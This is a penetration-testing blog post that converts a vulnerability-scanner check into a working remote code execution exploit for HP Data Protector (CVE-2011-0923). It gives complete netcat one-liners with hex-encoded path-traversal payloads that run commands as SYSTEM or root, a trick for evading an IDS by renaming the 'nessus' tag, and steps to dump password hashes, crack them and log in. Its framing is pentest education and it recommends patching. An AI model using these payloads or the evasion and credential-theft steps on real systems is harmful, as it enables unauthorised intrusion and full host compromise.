By Tony Lee, Amit Bagree, and Paul Haas.

Occasionally, you may find yourself in a spot where there are vulnerability checks for an issue, however there are no available exploits. In some cases you may be able to convert the check into an exploit as shown below. When we ran across this finding a while back, there were no metasploit or publicly available exploits—so we created our own with the process below.

Vulnerability Details

McAfee Vulnerability Manager (MVM) Finding

Name: HP Data Protector Client EXEC_CMD Perl Remote Code Execution
ID: 59903
Short name: HP Data Prot Mnger RCE
Alternate: CVE-2011-0923

Nessus Finding

Name: HP Data Protector Remote Command Execution
Plugin ID: 53641
Family: Gain a shell remotely
Bugtraq ID: 46234
Bugtraq ID: CVE-2011-0923

Detailed Description

“A remote code execution vulnerability exists in some versions of HP Data Protector. The flaw exists within the filtering of arguments to the EXEC_CMD command. The Data Protector client allows remote attackers to execute files within the local bin directory. Attackers can interact with a Perl interpreter and execute arbitrary code by supplying maliciously crafted input to the EXEC_CMD.” - McAfee Vulnerability Manager

Figuring out the Trigger

Probably the easiest method to determine the trigger for a particular plug-in is to look at it's source. Since Nessus is all open source this is relatively simple: just enter the plug-in directory and cat out the contents of the plug-in. However, if for whatever reason you cannot do that, you'll need to use wireshark, and assuming the data is sent in the clear, you can sniff the communication and determine the trigger. Thats how we'll continue, since its a little harder :)

Capturing with Wireshark

Open Wireshark and start the sniffer. Throw just that one exploit and follow the stream. Export the raw hex as shown below.



With the raw hex, you'll have to do some basic reformating then just use echo to type it out the to console. We'll redirect it into hexdump to make it look a little cleaner:

 root@bt:~#  echo -e '\x00\x00\x00\xa4 2\x00 nessus\x00 0\x00 SYSTEM\x00 nessus\x00 C\x00 20\x00 omnicheck.exe\x00 research\x00 /dev/null\x00 /dev/null\x00 /dev/null\x00 0\x00 0\x00 ../../../.././././././././././././\\windows\\system32\\ipconfig.exe\x00\x00' |  hexdump –C

00000000  00 00 00 a4 20 32 00 20  6e 65 73 73 75 73 00 20  |.... 2. nessus. |
00000010  30 00 20 53 59 53 54 45  4d 00 20 6e 65 73 73 75  |0. SYSTEM. nessu|
00000020  73 00 20 43 00 20 32 30  00 20 6f 6d 6e 69 63 68  |s. C. 20. omnich|
00000030  65 63 6b 2e 65 78 65 00  20 72 65 73 65 61 72 63  |eck.exe. researc|
00000040  68 00 20 2f 64 65 76 2f  6e 75 6c 6c 00 20 2f 64  |h. /dev/null. /d|
00000050  65 76 2f 6e 75 6c 6c 00  20 2f 64 65 76 2f 6e 75  |ev/null. /dev/nu|
00000060  6c 6c 00 20 30 00 20 30  00 20 2e 2e 2f 2e 2e 2f  |ll. 0. 0. ../../|
00000070  2e 2e 2f 2e 2e 2f 2e 2f  2e 2f 2e 2f 2e 2f 2e 2f  |../.././././././|
00000080  2e 2f 2e 2f 2e 2f 2e 2f  2e 2f 2e 2f 5c 77 69 6e  |././././././\win|
00000090  64 6f 77 73 5c 73 79 73  74 65 6d 33 32 5c 69 70  |dows\system32\ip|
000000a0  63 6f 6e 66 69 67 2e 65  78 65 00 00 0a           |config.exe...|
000000ad

Now all that is needed to throw this at a target is to change “hexdump –C” to “nc [host] [port]”. For instance:

 nc 192.168.1.2 5555

Avoiding the IDS

Depending on the configuration, an IDS might trigger on anything. Oddly enough, the one we were playing with, only triggered on the "Nessus" tag!

 root@bt:~# echo -e '\x00\x00\x00\xa4 2\x00 FSchck\x00 0\x00 SYSTEM\x00 FSchck\x00 C\x00 20\x00 omnicheck.exe\x00 research\x00 /dev/null\x00 /dev/null\x00 /dev/null\x00 0\x00 0\x00 ../../../.././././././././././././\\windows\\system32\\ipconfig.exe\x00\x00' |  hexdump -C
00000000  00 00 00 a4 20 32 00 20  46 53 63 68 63 6b 00 20  |.... 2. FSchck. |
00000010  30 00 20 53 59 53 54 45  4d 00 20 46 53 63 68 63  |0. SYSTEM. FSchc|
00000020  6b 00 20 43 00 20 32 30  00 20 6f 6d 6e 69 63 68  |k. C. 20. omnich|
00000030  65 63 6b 2e 65 78 65 00  20 72 65 73 65 61 72 63  |eck.exe. researc|
00000040  68 00 20 2f 64 65 76 2f  6e 75 6c 6c 00 20 2f 64  |h. /dev/null. /d|
00000050  65 76 2f 6e 75 6c 6c 00  20 2f 64 65 76 2f 6e 75  |ev/null. /dev/nu|
00000060  6c 6c 00 20 30 00 20 30  00 20 2e 2e 2f 2e 2e 2f  |ll. 0. 0. ../../|
00000070  2e 2e 2f 2e 2e 2f 2e 2f  2e 2f 2e 2f 2e 2f 2e 2f  |../.././././././|
00000080  2e 2f 2e 2f 2e 2f 2e 2f  2e 2f 2e 2f 5c 77 69 6e  |././././././\win|
00000090  64 6f 77 73 5c 73 79 73  74 65 6d 33 32 5c 69 70  |dows\system32\ip|
000000a0  63 6f 6e 66 69 67 2e 65  78 65 00 00 0a           |config.exe...|

Sending

Against a Windows Host

 root@bt:~# echo -e '\x00\x00\x00\xa4 2\x00 fschck\x00 0\x00 SYSTEM\x00 fschck\x00 C\x00 20\x00 omnicheck.exe\x00 research\x00 /dev/null\x00 /dev/null\x00 /dev/null\x00 0\x00 0\x00 ../../../../././././././././././\\windows\\system32\\whoami.exe\x00\x00' | nc xxx.xxx.xxx.xxx 5555

Jÿþ15 [70:18] nt authority\systemÿþ6 0

Against a Linux Host

 root@bt:~# echo -e '\x00\x00\x00\xa4 2\x00 fschck\x00 0\x00 SYSTEM\x00 fschck\x00 C\x00 20\x00 omnicheck.exe\x00 research\x00 /dev/null\x00 /dev/null\x00 /dev/null\x00 0\x00 0\x00 ../../../.././././././././././././././././././././usr/bin/id\x00\x00' | nc xxx.xxx.xxx.xxx 5555

¿15 [12:1] [2004] 13015 blah.blah.com uid=0(root) gid=0(root) groups=3(sys),1(other),2(bin),4(adm),5(daemon),6(mail),7(lp),20(users)

The nice thing about these one-liners is that they can be scripted to check a series of hosts.

Limitations

The one limitation that we ran across is that we could not include spaces, thus we could not supply parameters to our commands--even a \x20 was getting eaten.

Solution: Paul came up with a slick way to get the shadowed hashes, add a user, and log in (great for any occasion where you have remote command execution without params):

1. Run “pwunconv” to put password hashes into /etc/passwd
2. Run “vipw” to display /etc/passwd
3. Crack the hashes
4. Log into box with legitimate credentials

Current State

There is now a metasploit module that will get shell on a *nix box, however spaces in Windows still seems to be an issue. Read the MSF modules for complete descriptions.

 Matching Modules
================

   Name                                           Disclosure Date  Rank       Description
   ----                                           ---------------  ----       -----------
   auxiliary/admin/hp/hp_data_protector_cmd       2011-02-07       normal     HP Data Protector 6.1 EXEC_CMD Command Execution
   exploit/linux/misc/hp_data_protector_cmd_exec  2011-02-07       excellent  HP Data Protector 6.1 EXEC_CMD Remote Code Execution

The Fix

There is a fix for this issue which we obviously recommend applying as soon as possible (after proper testing). Download the latest version A.06.20 of HP Data Protector from http://h20000.www2.hp.com/bizsupport/TechSupport/Document.jsp?objectID=c02781143.

Final Thoughts

When a publicly available exploit does not exist, but a vulnerability check does—it may be possible to get the exploit from the check with some careful [packet] inspection. Brainstorm with some colleagues and it may be possible to leverage creative methods to eventually gain access to the host even with significant limitations.